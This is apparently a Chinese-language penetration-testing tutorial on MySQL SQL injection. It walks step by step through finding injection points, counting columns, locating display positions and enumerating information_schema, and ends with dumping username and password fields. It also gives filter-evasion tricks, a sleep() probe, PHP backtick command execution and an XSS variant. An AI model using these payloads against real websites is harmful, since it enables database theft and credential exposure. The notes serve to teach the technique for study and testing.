注入本質?
1、 SQL顯錯注入是最常見的注入。
2、 注入攻擊的本質,是把用戶輸入的數據當做SQL語句執行。
3、 這里有兩個關鍵條件:
第一個是用戶能夠控制輸入。
第二個是原本程序要執行的代碼,拼接了用戶輸入的數據,然后進行執行。
滲透測試常用函數。
1、 GROUP_CONCAT(col):返回由屬於一組的列值連接組合而成的結果。
例如:id=9.9 union select 1,GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()
可以把所有內容輸出到同一頁面,並且以逗號分隔(admin,dirs,news,xss)
2、 ASCII(char):盲注用,返回字符的ASCII碼值。
3、 DATABASE():返回當前數據庫名。
4、 USER()或SYSTEM_USER():返回當前登陸用戶名。
例如:字段2,回顯2,有id=9.9 union select 1,USER()。
5、 VERSION():返回MySQL服務器的版本。
例如:字段2,回顯2,有id=9.9 union select 1,VERSION()。
6、 SLEEP(n):休眠n秒。
小知識點。
1、 要分清 ’ (引號)和 `(反引號)。
2、 在PHP中 `(反引號)可以執行CMD語句。
例如:在php中寫一句 echo `whoami` ,然后再網頁中打開的話,會返回如同CMD中執行的結果。
3、 `(反引號)在JS中可以代替(’ 。
例如:<script>alert(‘非法注入!’)</script>
<script>alert`非法注入!`</script>
4、 聯合查詢的使用條件:
1)字段數相等。
2)字段類型相同。
SQL注入易錯回答分析
1、 sql注入本質是什么?
把用戶輸入當做代碼執行;
2、 sql注入的條件?
用戶可以控制輸入和程序原本要執行代碼,拼接用戶輸入的數據且當作SQL語句去執行;
3、 order by的作用及含義?
order by的原理是對字段進行一個排序,比如,order by 1就是對一個字段進行排序,如果一共四個字段,你order by 5 數據庫不知道怎么排序,於是乎就錯誤了無返回值;
而在注入中,order by 用於判斷顯示位;
4、 union select如何發揮作用?
union為聯合查詢,a聯合b進行了查詢,為查詢了前面的sql語句(原有的)后再進行后面的sq查詢(我們添加的),但兩張表聯合查詢的字段數必須相同;
5、 輸出位是什么?
SQL查詢出來的數據不一定全部會輸出,頁面上只會輸出幾個字段的信息,那幾個會輸出的字段就是輸出位;
6、 information_schema是什么?
information_schema是mysql的系統自帶表,用於查詢數據,在mysql5.0以上版本中存在;
7、 加單引號和加 and 1=2有什么區別?
有區別,單引號是為了閉合語句,而and 1=2是為了讓union前面的語句無查詢結果無輸出,然后直接輸出拼接進去union后面的那個語句的查詢結果;
8、 and 是什么意思?
and 為和的意思,一個語句中,當前一個正確,后一個錯誤時,如果是and連接整個語句返回的是False;
9、 or是什么意思?
or 為和的意思,一個語句中,當前一個正確,后一個錯誤時,如果是or連接整個語句返回的是True;
10、and 和 or 選擇使用有什么講究?
and 語句執行時,如果and 前的語句返回False,那么and后面的語句根本不執行;
11、除了單引號外還有其他的符號可以閉合嗎?
實際上還是要看源碼,常見的是單引號和雙引號還有括號;
12、limit的作用?
limit 在注入中用於排序然后輸出,limit a,b中 [a代表了從哪個位置(從0開始) b代表從那位開始顯示幾條數據];
13、可以查訊多個字段內容嗎?
可以,可以使用語句Group_concat()函數進行輸出;
14、%23有什么作用?
%23編碼為#,用於注釋后面的語句,防止SQL注入點后原本的SQL語句對SQL注入進行干擾[#注釋是Mysql數據庫特有的];
15、報錯注入的原理?
利用sql注入拼接sql語句,將報錯信息輸出時同時將我們想要的信息輸出;
16、閉合是什么?
在sql查詢中,代碼比較嚴謹,括號和引號都得成雙成對,引號內的默認是字符串不會當作SQL語句執行,所以必須閉合然后才能注入,當然有些SQL語句直接拼接,也就不用什么閉合了;
17、SQL注入有數據庫限制嗎?
沒有,常見的數據庫都可以;
18、SQL注入有動態腳本語言限制嗎?
沒有限制;
19、SQL注入如果沒系統自帶表怎么辦?
只能通過猜,不斷的嘗試,一般而言數據庫的表也不會亂起名字,畢竟是團隊協作的東西,可以使用到一個exists()函數;
20、系統自帶庫管理員不會修改嗎?
一般而言並不會;
21、union all 和 union 區別?
如果輸出的數據有相同的,union只會輸出一次,而union all都會輸出;
22、為什么用and 1=1正常 and 1=2報錯來判斷是否存在SQL注入?
因為如果存在SQL注入,那么and就是和的意思,1=1是一個恆等式,然后因為原本能夠查出數據,那么兩個真就是True,但是1=2肯定是不可能的,這里就會返回一個False,然后因為和必須兩個真才返回
True,所以這里拼接就不成立返回False。
注入之聯合查詢的基本流程(Mysql數據庫)。
1. 顯錯判斷注入點。
·使用and 1=1 頁面正常。and 1=2 頁面不正常。
·使用引號('或"),報錯就說明存在注入。
·嘗試在語句末尾加注釋,如果頁面不變可能存在注入(不太准確)。
例如:遇到url欄中輸入’報錯,可是sql語句不執行的情況下,可能是有id='1'的限制。這時,可以這樣輸入id=1'#或id=1'--+(在#和--+前就可以執行sql語句了)
·注:#如果被吞,可以該成 %23。
·注:#注釋是mysql數據庫特有的。
·注:--+注釋大部分常見的數據庫都有。
·如果是數字型傳參,可以嘗試參數+1或-1 (例如id=1+1 或id=1-1)因為在SQL語句中時可以執行運算的。比較好用的是 -1,因為+有時候會當成空格執行。
例如:
http://www.xxx.com/new.php?id=1 頁面顯示id=1的新聞
http://www.xxx.com/new.php?id=2-1 頁面顯示id=1的新聞
and 1=1 and 1=2 被攔截的可能性太高了
可以嘗試 and -1=-1 and -1=-2
·或者直接 or sleep(5),如果頁面轉圈圈了,就存在SQL注入。
2. 判斷當前頁面字段總數。
·判斷字段數的原因:是為了使用聯合查詢,因為在union 內部的 select 語句必須擁有相同數量的列。
·語句為:order by語句用於根據指定的列對結果集進行排序。
order by 語句默認按照升序對記錄進行排序。
·order by x(x從1開始)
例如:如果 order by 3 頁面不正常,說明數據庫只有2個字段。
3. 判斷顯示位。
·需要判斷顯示位的原因:因為頁面的內容都是選擇性輸出的,所以要用到該語句。
比如有兩個字段,第一個字段是id,第二個字段是網頁的內容,用這個語句就是為了找到顯示這個網頁內容的字段。
·例如:頁面只會顯示頁面數據的字段內容,不會顯示id字段的內容。所以,要找到哪個地方能夠輸出。
·語句為:id=9.9 union select 1,2,3……(有多少個字段,就到幾)
4. 查看當前的數據庫。
·語句為:id=9.9 union select 1,2,x,database()
·參數必定要為假或使用and 1=2,顯示位的數字改為database()。
5. 查表名。
·在mysql數據庫中(.)是選中的意思。
例如語句為:information_schema.tables.a
則意思為:在information_schema數據庫中選擇tables表的a 字段。
·語句為:id=9.9 union select 1,2,table_name from information_schema.tables where table_schema = database() limit x,1
或id=9.9 union select 1,2,table_name from information_schema.tables wheretable_schema ='數據庫名' limit x,1
·注:x,用於判斷還有沒有其它的表,從0開始。
6. 查列名。
·語句為:id=9.9 union select 1,2,3,column_name,5,6,7,8,9,10 from information_schema.columns where table_name = '表名' limit x,1
·或id=9.9 union select 1,2,3,group_concat(column_name),5,6,7,8,9,10 from information_schema.columns where table_name = '表名' limit x,1
7. 查字段內容。
·語句為:id=9.9 union select 1,用戶名段(密碼段) from 表名 limit 0,1